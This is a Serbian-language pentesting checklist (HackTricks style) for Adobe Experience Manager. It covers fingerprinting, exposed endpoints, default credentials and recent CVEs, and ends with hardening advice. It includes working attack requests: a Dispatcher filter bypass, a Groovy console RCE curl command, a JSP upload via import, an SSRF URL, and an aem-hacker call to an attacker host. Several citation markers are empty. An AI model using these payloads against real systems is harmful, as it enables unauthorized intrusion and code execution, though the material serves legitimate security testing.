118 lines
5.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# AEM (Adobe Experience Manager) Pentesting
{{#include ../../banners/hacktricks-training.md}}
> Adobe Experience Manager (AEM, deo Adobe Experience Cloud-a) je preduzetnički CMS koji radi na Apache Sling/Felix (OSGi) i Java Content Repository (JCR).
> Sa perspektive napadača, AEM instance vrlo često izlažu opasne razvojne krajnje tačke, slabe Dispatcher pravila, podrazumevane akreditive i dugačak niz CVE-ova koji se zakrpljuju svaka tri meseca.
Lista provere u nastavku fokusira se na **spolja dostupnu (unauth) površinu napada** koja se stalno pojavljuje u stvarnim angažmanima (2022-2025).
---
## 1. Fingerprinting
```
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
```
Other quick indicators:
* `/etc.clientlibs/` statička putanja prisutna (vraća JS/CSS).
* `/libs/granite/core/content/login.html` stranica za prijavu sa “Adobe Experience Manager” banerom.
* `</script><!--/* CQ */-->` komentar na dnu HTML-a.
---
## 2. Visokovredni neautentifikovani krajnji tački
Putanja | Šta dobijate | Napomene
---- | ------------- | -----
`/.json`, `/.1.json` | JCR čvorovi putem **DefaultGetServlet** | Često blokirano, ali *Dispatcher bypass* (vidi ispod) funkcioniše.
`/bin/querybuilder.json?path=/` | QueryBuilder API | Curjenje stabla stranica, unutrašnjih putanja, korisničkih imena.
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix konzola | 403 po defaultu; ako je izloženo i pronađene su kredencijali ⇒ bundle-upload RCE.
`/crx/packmgr/index.jsp` | Paket menadžer | Omogućava autentifikovane sadržajne pakete → JSP payload upload.
`/etc/groovyconsole/**` | AEM Groovy konzola | Ako je izložena → proizvoljna Groovy / Java izvršenja.
`/libs/cq/AuditlogSearchServlet.json` | Audit logovi | Otkriće informacija.
`/libs/cq/ui/content/dumplibs.html` | ClientLibs dump | XSS vektor.
### Dispatcher bypass trik
Većina produkcionih sajtova se nalazi iza *Dispatcher*-a (obrnuti proxy). Njegova pravila filtriranja mogu se zaobići dodavanjem dozvoljene statičke ekstenzije **posle tačke-zareza ili kodirane nove linije**:
```
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
```
Jedan zahtev poput gore navedenog često otkriva čvorove korisničkog profila sa email adresama. P-T Partners je objavio dobre smernice o ovoj slabosti. 【】
---
## 3. Uobičajene pogrešne konfiguracije (još uvek prisutne 2025)
1. **Anonimni POST servlet** `POST /.json` sa `:operation=import` omogućava vam da postavite nove JCR čvorove. Blokiranje `*.json` POST u Dispatcher-u to rešava. 【】
2. **Korisnički profili dostupni svima** podrazumevani ACL dodeljuje `jcr:read` na `/home/users/**/profile/*` svima.
3. **Podrazumevani kredencijali** `admin:admin`, `author:author`, `replication:replication`.
4. **WCMDebugFilter** omogućen ⇒ reflektovani XSS putem `?debug=layout` (CVE-2016-7882, još uvek pronađen na nasleđenim instalacijama 6.4).
5. **Groovy Console izložen** daljinsko izvršavanje koda slanjem Groovy skripte:
```bash
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
```
---
## 4. Nedavne ranjivosti (cadence servisnog paketa)
Kvartal | CVE | Pogođeni | Uticaj
------- | --- | -------- | ------
Dec 2024 | **CVE-2024-43711** | 6.5.21 i ranije | Nepravilna validacija ulaza → **Izvršavanje proizvoljnog koda** (zahteva nisku privilegiju). 【】
Dec 2024 | CVE-2024-43724/26 | 6.5.21 i ranije | DOM / Skladišteni XSS u čarobnjaku za premestanje stranica. 【】
Dec 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | DOM-bazirani XSS putem kreirane URL adrese. 【】
Dec 2022 | CVE-2022-30683 | ≤ 6.5.13 | Greška u dizajnu kriptografije → dekripcija tajne (zahteva niske privilegije). 【】
Uvek proverite *APSB* bilten koji odgovara servisnom paketu kupca i zatražite najnoviji **6.5.22** ili *Cloud Service 2024.11*.
---
## 5. Iskoristive snimke
### 5.1 RCE putem zaobilaženja dispečera + JSP upload
Ako je anonimno pisanje moguće:
```
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
```
Sada zatražite `/content/evil.jsp` JSP se pokreće sa AEM korisnikom procesa.
### 5.2 SSRF do RCE (istorijski < 6.3)
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
`aem_ssrf2rce.py` iz **aem-hacker** automatizuje celu proceduru. 【】
---
## 6. Alati
* **aem-hacker** skripta za enumeraciju kao švajcarski nož, podržava zaobilaženje dispečera, detekciju SSRF, provere podrazumevanih kredencijala i još mnogo toga.
```bash
python3 aem_hacker.py -u https://target --host attacker-ip
```【】
* **Content Brute-force** rekurzivno zahteva `/_jcr_content.(json|html)` da otkrije skrivene komponente.
* **osgi-infect** otpremite zloćudni OSGi paket putem `/system/console/bundles` ako su dostupni kredencijali.
---
## 7. Lista za učvršćivanje (za preporuke u vašem izveštaju)
1. Održavajte instancu na **najnovijem kumulativnom servisnom paketu** (od jula 2025: 6.5.22).
2. Uklonite/rotirajte podrazumevane naloge; primenite SSO/SAML.
3. Pojačajte **Dispatcher filtere** odbijte `;`, kodirane nove redove, i `*.json` ili `*.querybuilder.json` za anonimne korisnike.
4. Onemogućite ili zaštitite konzole (`/system/console`, `/crx/*`, `/etc/groovyconsole`) sa IP listama dozvola.
5. Primijenite paket *Anonymous Permission Hardening* koji je isporučio Adobe.
## Reference
* Adobe Security Bulletin APSB24-69 “Bezbednosna ažuriranja za Adobe Experience Manager (decembar 2024)”.
* 0ang3el aem-hacker alat (GitHub).
{{#include ../../banners/hacktricks-training.md}}